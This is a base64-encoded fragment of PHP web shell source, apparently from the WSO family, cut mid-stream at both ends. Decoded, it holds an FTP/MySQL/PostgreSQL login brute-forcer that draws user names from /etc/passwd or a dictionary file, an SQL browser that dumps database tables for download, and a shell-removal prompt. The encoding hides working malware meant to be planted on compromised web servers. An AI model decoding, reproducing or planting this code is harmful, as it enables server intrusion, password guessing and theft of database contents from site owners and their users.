1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewogICAgcHJpbnRIZWFkZXIoKTsKICAgIGlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewogICAgICAgIGVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsKICAgICAgICBpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKICAgICAgICAgICAgICAgIGlmKCEkZnApIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CiAgICAgICAgICAgICAgICBAZnRwX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsKICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgIEBteXNxbF9jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgewogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9JyciOwogICAgICAgICAgICAgICAgJHJlcyA9IEBwZ19jb25uZWN0KCRzZXJ2ZXJbMF0uJzonLiRzZXJ2ZXJbMV0/JHNlcnZlclsxXTo1NDMyLCAkbG9naW4sICRwYXNzKTsKICAgICAgICAgICAgICAgIEBwZ19jbG9zZSgkcmVzKTsKICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRzdWNjZXNzID0gMDsKICAgICAgICAkYXR0ZW1wdHMgPSAwOwogICAgICAgICRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewogICAgICAgICAgICAkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkKICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbGluZVswXVskaV07CiAgICAgICAgICAgICAgICAgICAgICAgICsrJGF0dGVtcHRzOwogICAgICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewogICAgICAgICAgICAgICAgICAgICRsaW5lID0gdHJpbSgkbGluZSk7CiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7CiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7CiAgICB9CiAgICBlY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JwogICAgICAgIC4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicKICAgICAgICAuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JwogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+JwogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicKICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicKICAgICAgICAuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKICAgIGVjaG8gJzwvZGl2Pjxicj4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uU3FsKCkgewogICAgY2xhc3MgRGJDbGFzcyB7CiAgICAgICAgdmFyICR0eXBlOwogICAgICAgIHZhciAkbGluazsKICAgICAgICB2YXIgJHJlczsKICAgICAgICBmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSAgICB7CiAgICAgICAgICAgICR0aGlzLT50eXBlID0gJHR5cGU7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7CiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgewogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwogICAgICAgICAgICAgICAgICAgIGlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKICAgICAgICAgICAgICAgICAgICBpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICBpZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGZldGNoKCkgewogICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOwogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBsaXN0RGJzKCkgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9saXN0X2RicygkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBsaXN0VGFibGVzKCkgewogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgKHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJykgb3IgdGFibGVfbmFtZSA9ICdwZ191c2VyJyIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigkdGhpcy0+bGluayk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmxpbmspOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZHVtcCgkdGFibGUpIHsKICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7CiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidgJyk7CiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJGNyZWF0ZVsxXS4iO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFibGUuJ2AnKTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gImAiLiRrLiJgIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7CiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9OwogICAgJGRiID0gbmV3IERiQ2xhc3MoQCRfUE9TVFsndHlwZSddKTsKICAgIGlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsKICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7CiAgICAgICAgJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOwogICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsKICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYpOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSJzZiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICA8dGFibGUgY2VsbHBhZGRpbmc9IjIiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPlR5cGU8L3RkPgogICAgICAgICAgICAgICAgPHRkPkhvc3Q8L3RkPgogICAgICAgICAgICAgICAgPHRkPkxvZ2luPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD5QYXNzd29yZDwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+RGF0YWJhc2U8L3RkPgogICAgICAgICAgICAgICAgPHRkPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9XCdxdWVyeVwnPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CiAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPVwndHlwZVwnPgogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJteXNxbCIgJy4oQCRfUE9TVFsndHlwZSddPT0nbXlzcWwnPydzZWxlY3RlZCc6JycpLic+TXlTcWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0icGdzcWwiICcuKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJz8nc2VsZWN0ZWQnOicnKS4nPlBvc3RncmVTcWw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3RkPgogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8nbG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpLiciPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT0iJy4oZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpLiciPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkuJyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4nOwogICAgJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsKICAgIGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewogICAgICAgIGlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgewogICAgICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsKICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZGItPmxpc3REYnMoKTsKICAgICAgICAgICAgZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsKICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsKICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwogICAgICAgICAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOwogICAgICAgIH0KICAgICAgICBlbHNlIGVjaG8gJHRtcDsKICAgIH1lbHNlCiAgICAgICAgZWNobyAkdG1wOwogICAgZWNobyAnPC90ZD4KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L